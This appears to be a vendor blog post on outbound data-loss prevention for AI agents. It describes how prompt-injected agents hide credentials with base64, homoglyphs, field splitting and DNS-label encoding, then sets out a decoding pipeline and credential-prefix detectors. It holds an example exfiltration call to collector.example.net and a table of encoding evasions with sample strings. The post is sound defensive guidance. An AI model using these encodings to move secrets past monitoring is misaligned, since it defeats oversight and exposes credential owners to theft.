Outbound DLP for AI agents only works if the scanner normalizes traffic before it matches. An agent that base64s a token, percent-encodes it into a query string, or swaps ASCII letters for Cyrillic homoglyphs will sail past a regex that expects AKIA[0-9A-Z]{16}. Normalization passes, run in order, restore the plaintext the detector was written for.
Why outbound DLP for AI agents breaks on the first encoding hop
Traditional DLP was built for humans attaching files to email. An LLM agent is different: it composes payloads programmatically, it follows instructions from retrieved content it did not author, and it has a dozen legitimate tools that accept arbitrary strings. A single prompt injection can produce a tool call like POST https://collector.example.net/ingest with a body of {'note':'c2stcHJvai1hYmMxMjM...'} and nothing in that request looks like a credential to a naive matcher.
Three properties of agent traffic make this worse than the classic DLP problem:
- Encoding is normal. Agents base64 file contents, JSON-escape logs, and URL-encode parameters as routine behavior, so encoded blobs are not anomalous on their own.
- The channel is allowed. Exfiltration usually rides an approved destination such as a Slack webhook, a Notion API, or a self-hosted MCP server, not a domain your allowlist would reject.
- The attacker controls the encoding, not you. Injected instructions can specify hex, base32, or a rot13 pass, and the model will comply.
That is why detection cannot be the first step. Decoding is.
Base64 exfiltration and its cousins: what actually shows up on the wire
Below are the evasions we see most often against inline scanners, and the pass that defeats each one.
| Evasion | What it looks like on the wire | Regex-only result | Pass that catches it |
|---|---|---|---|
| Base64 body | Z2hwX0FiQzEyMzQ1Njc4OTA= | Miss | Candidate decode (pass 6) |
| Base64url in a query param | ?d=Z2hwX0FiQzEy... with - and _ | Miss | URL decode plus alphabet-aware decode |
| Hex or base32 | 67687061626331... | Miss | Candidate decode |
| Gzip then base64 | Compressed blob inside a JSON string | Miss | Content decode then recursive rescan |
| Homoglyph substitution | Cyrillic а replacing ASCII a in sk-live | Miss | NFKC plus confusable folding |
| Zero-width injection | ghp_AbC123 | Miss | Invisible character stripping |
| Field splitting | Secret split across three JSON keys | Miss | Structural parse plus sibling concatenation |
| Chunked over N requests | 20 chars per call to the same host | Miss | Per-session cross-request accumulation |
| DNS label encoding | c2stcHJvag.exfil.example.com | Miss | Label decode at the DNS resolver hook |
None of these require sophistication. They require one sentence of injected text telling the agent to encode before sending. If you want to see how the same trick plays out over sanctioned messaging tools, read our walkthrough on stopping agent exfiltration via email, Slack and webhooks.
The DLP normalization pipeline an LLM egress proxy should run
Run these passes in order, on every outbound request body, header set, URL, and (where policy allows) response body. Each pass emits candidate strings that feed the next.
- Transport and content decode. Undo
Content-Encoding: gzip,br, anddeflate; reassemble chunked transfer encoding; splitmultipart/form-datainto parts with their own content types. - Structural parse. Parse JSON, form-encoded bodies, XML, and MCP JSON-RPC envelopes into a tree, then walk to the leaves. Scanning raw bytes only is how field-splitting wins; scanning leaves plus the concatenation of sibling leaves is how you close it.
- Percent and entity decode. Iteratively URL-decode and HTML-entity-decode each leaf, with a hard iteration cap (three is plenty) to avoid decode loops.
- Unicode normalization. Apply NFKC, strip zero-width and bidirectional control characters, then fold confusables to an ASCII skeleton so Cyrillic а, Greek ο, and fullwidth forms collapse onto their Latin equivalents.
- Delimiter and whitespace collapse. Remove inserted separators (spaces, newlines, hyphens, backslash escapes) from high-entropy runs so
gh p_ A b Cbecomes a single candidate token. - Candidate decode. For every run of 16 or more characters that matches a base64, base64url, base32, or hex alphabet, attempt a decode. Keep the result only if it is valid UTF-8 or a recognized magic-byte format.
- Recursive rescan with budgets. Feed successful decodes back to pass 1. Cap recursion depth at three, cap expanded bytes (for example 8x the original body or a fixed ceiling), and cap wall-clock time per request. When a budget trips, fail closed on high-risk destinations and log the truncation.
Agent credential leak detection after normalization
Once the text is normalized you can finally run detectors that are precise instead of paranoid. A practical detector stack has four layers:
- Prefix and structure matchers. Known issuer formats are the cheapest, highest-confidence signal:
AKIAandASIAfor AWS,ghp_andgithub_pat_for GitHub,xoxb-for Slack,sk_live_for Stripe,AIzafor Google,eyJheaders for JWTs, and PEM block headers for private keys. - Checksum and shape validation. Several providers embed checksums or fixed lengths. Validating them turns a noisy match into a near-certain one and kills false positives on random-looking build IDs.
- Entropy scoring. Shannon entropy over a sliding window catches unknown or rotated formats that no prefix rule covers. Score, do not block, on entropy alone.
- Context weighting. The same token is a different risk in a call to your internal vault than in a POST to a first-seen domain. Combine detector confidence with destination reputation and agent identity before choosing an action.
Detection is only half of it; what you do next is policy. Our guide to catching leaked API keys and OAuth tokens on the way out covers the enforcement side in depth.
Choosing the action: block, redact, or escalate
Not every hit deserves a hard deny. Map detector confidence and destination tier to one of four outcomes:
- Allow and log when confidence is low and the destination is an approved internal service.
- Redact inline when the payload is otherwise legitimate: replace the matched span with a stable placeholder such as
[REDACTED:aws_access_key]and forward the request. This keeps the agent functional while the secret stays inside your perimeter. - Escalate to a human when the action is irreversible or the destination is unfamiliar. Hold the connection, surface the decoded evidence and the diff, and require an approver.
- Block and alert when a high-confidence credential is heading to a non-allowlisted host, and emit a receipt with the normalization chain that produced the finding.
Whatever you log, log the derivation, not the secret: record the pass sequence (for example url_decode -> base64 -> nfkc), the detector name, the offset, and a truncated hash. A DLP log that contains the plaintext credential is a second breach waiting to happen.
How Agent G runs this inline
Agent G sits on the agent's egress path as a drop-in forward proxy with TLS interception, so it sees the fully assembled request the way the destination will: decoded, parsed, and attributable to a specific agent identity. The normalization pipeline above runs before policy evaluation, and the same passes apply to MCP JSON-RPC tool arguments and responses, not just plain HTTP bodies. That matters because tool arguments are where the interesting strings live, which is exactly the gap covered in our MCP gateway capability.
Cross-request accumulation is handled per agent session: if a single agent sends 40 twenty-character fragments to the same host in a short window, the reassembled buffer is scanned as one document. Deny decisions, redactions, and approval holds are all written to the same structured event stream, so your SOC gets one canonical record per outbound action rather than a partial view from application logs.
Before you trust any of this in production, attack it. Our guide to red-teaming an AI agent's egress path includes the encoded-payload cases you should replay against your own policy.
Frequently Asked Questions
Does normalization add unacceptable latency?
Not if you budget it. Structural parsing and Unicode folding are microsecond-scale on typical tool-call payloads. Candidate decoding is the expensive pass, so bound it with a recursion depth of three, a byte-expansion ceiling, and a per-request time budget that fails closed on untrusted destinations.
How do I avoid false positives from legitimate base64 payloads?
Agents legitimately base64 images and file contents. Use magic-byte detection to classify decoded blobs, skip binary formats, and require a detector hit (prefix, checksum, or high entropy plus context) rather than treating any successful decode as suspicious. Redaction beats blocking for borderline cases.
Can outbound DLP for AI agents catch secrets split across many requests?
Yes, with per-agent session accumulation. Buffer normalized fragments sent to the same destination within a rolling window, rescan the concatenation, and rate-limit any agent that produces a high count of small, high-entropy writes to one host.
Is this different from prompt-layer or model-layer filtering?
Completely. Prompt filters inspect what goes into or comes out of the model. Encoded-secret egress happens after the model decides, inside the tool call. Only a control on the network path sees the final bytes, which is why egress enforcement is the reliable backstop.
Put normalization in front of your agents
Outbound DLP for AI agents is a decoding problem before it is a matching problem. Build the pipeline (transport decode, structural parse, percent decode, Unicode folding, delimiter collapse, candidate decode, bounded recursion), then let precise detectors and identity-aware policy decide between allow, redact, escalate, and block. Agent G ships this pipeline inline at the egress boundary with signed logs of every decision. Request access to the Agent G private beta to run it against your own agent traffic, or start with an overview of the platform.